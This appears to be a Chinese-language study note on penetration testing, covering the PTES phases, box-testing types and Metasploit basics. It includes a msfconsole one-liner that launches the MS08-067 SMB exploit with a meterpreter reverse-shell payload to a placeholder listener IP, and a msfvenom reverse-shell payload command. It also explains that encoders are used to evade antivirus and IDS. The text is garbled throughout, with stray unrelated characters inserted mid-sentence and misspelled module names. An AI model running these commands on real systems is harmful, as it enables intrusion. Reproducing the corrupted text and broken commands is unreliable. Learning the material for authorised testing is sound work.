滲透測試流程和類型
滲透測試流程
滲透測試執(zhí)行標準(PTES:Penetration Testing Execution Standard)對滲透測試進行了定義表谊。
- 前期交互階段
- 情報搜集階段
- 威脅建模階段
- 漏洞分析階段
- 滲透攻擊階段
- 后滲透攻擊階段
- 報告階段
每個階段現(xiàn)在不作詳細的介紹,在后面會有針對性的講解。對一些靶機的滲透過程中垛叨,會綜合運用以上的階段。當然册舞,標準是靈活的播演,我們一樣可以按照自己的習慣和經(jīng)驗來制定自己的滲透測試流程。像我在讀的另外一本書《黑客秘笈——滲透測試使用指南(第2版)》(英文原著已經(jīng)到第3版贯底,只是還沒有中文譯本)丰辣,筆者就有自己的一套滲透測試流程,或許這套流程更適合自己。
滲透測試類型
- 白盒測試
擁有所有的內部知識笙什,在不需要害怕被阻斷的情況下任意地實施攻擊飘哨。 - 黑盒測試
不了解客戶組織大部分信息和知識,模擬攻擊者的入侵行為得湘,費時費力杖玲,需要具備更強的技術能力。 - 灰盒測試
上面兩者的組合淘正,已經(jīng)了解部分內部知識(結構拓撲圖摆马、訪問憑證、應用使用手冊等)鸿吆。
Metasploit基礎
接口
選項
變量
模塊
...
專業(yè)術語
1. Exploit_滲透攻擊
攻擊者利用一個安全漏洞所進行的攻擊行為囤采。流行的滲透攻擊技術包括緩沖區(qū)溢出、Web應用程序漏洞攻擊(如SQL注入)惩淳,及利用配置錯誤等蕉毯。
2. Payload_攻擊載荷
是我們期望目標系統(tǒng)在被滲透攻擊之后去執(zhí)行的代碼。
3. shellcode
在滲透攻擊時作為攻擊載荷運行的一組機器命令思犁。shellcode通常以匯編語言編寫代虾。
4. Module_模塊
一個模塊是指Metasploit框架中所使用的一段軟件代碼組件。
比如說:滲透攻擊模塊(exploit module)激蹲,輔助模塊(auxiliary module)
5. Listener_監(jiān)聽器
等待被滲透主機連入網(wǎng)絡的連接的組件
接口
1. MSF終端
msfconsole
啟動
help 命令
查看命令幫助棉磨,如 help connect
,查看connect
命令的相關選項学辱。
2. MSF命令行
命令行和終端的區(qū)別:
終端以一種用戶友好的模式提供交互方式乘瓤。
命令行主要考慮對腳本處理和與其他命令行工具的互操作性。簡單說就是一行命令直接解決策泣,不像終端那樣交互幾次衙傀。
在2015年1月份,Metasploit 官方宣布不再支持msfcli
命令行工具萨咕,作為替代方案统抬,建議使用MSF終端的“-x”選項。
如:
./msfconsole -x "use exploit/windows/smb/mse8_067_netapi;set RHOST [IP];set PAYLOAD windows/meterpreter/reverse_tcp;set LHOST [IP];run"
3. Armitage
完全交互式的圖形化用戶接口危队。跟終端的區(qū)別在于可以圖形化選擇模塊蓄喇,已經(jīng)集成在kali上。
Metasploit功能程序
就是指在某些特殊場合下最常用的功能交掏。
1. MSF攻擊載荷生成器
MSF攻擊載荷生成器允許你能夠生成shellcode妆偏、可執(zhí)行代碼和其他更多的東西,也可以讓它們在框架軟件之外的滲透代碼中進行使用盅弛。
msfpayload
已經(jīng)被棄用钱骂,取而代之的是集成了攻擊載荷生成
和編碼
的msfvenom
叔锐。
如果對某個攻擊載荷的模塊不清楚配置,使用payload-options
root@kali:~$ msfvenom-p windows/she11_reverse_tcp --payload-options
2. MSF編碼器
為什么要使用編碼器:
由MSF攻擊載荷生成器產生的shellcode是完全可運行的见秽,但是其中包含了一些
null空字符
愉烙,在一些程序進行解析時,這些空字符會被認為是字符串的結束解取,從而使得代碼在完整執(zhí)行之前被截斷而終止運行步责。簡單來說,這些\x00和\xff字符會破壞你的攻擊載荷禀苦。在網(wǎng)絡上明文傳輸?shù)膕hellcode很可能被入侵檢測系統(tǒng)(IDS)和殺毒軟件所識別蔓肯,為了解決這一問題,MSF編碼器來啦振乏!它可以幫助你通過對原始攻擊載荷進行編碼的方式蔗包,來避免壞字符,以及逃避殺毒軟件和IDS的檢測慧邮。
3. Nasm shell
在進行滲透代碼開發(fā)時(絕對是大神級別了)调限,需要對給定的匯編命令找出它的opcode操作碼,nasm就特別舒服了误澳!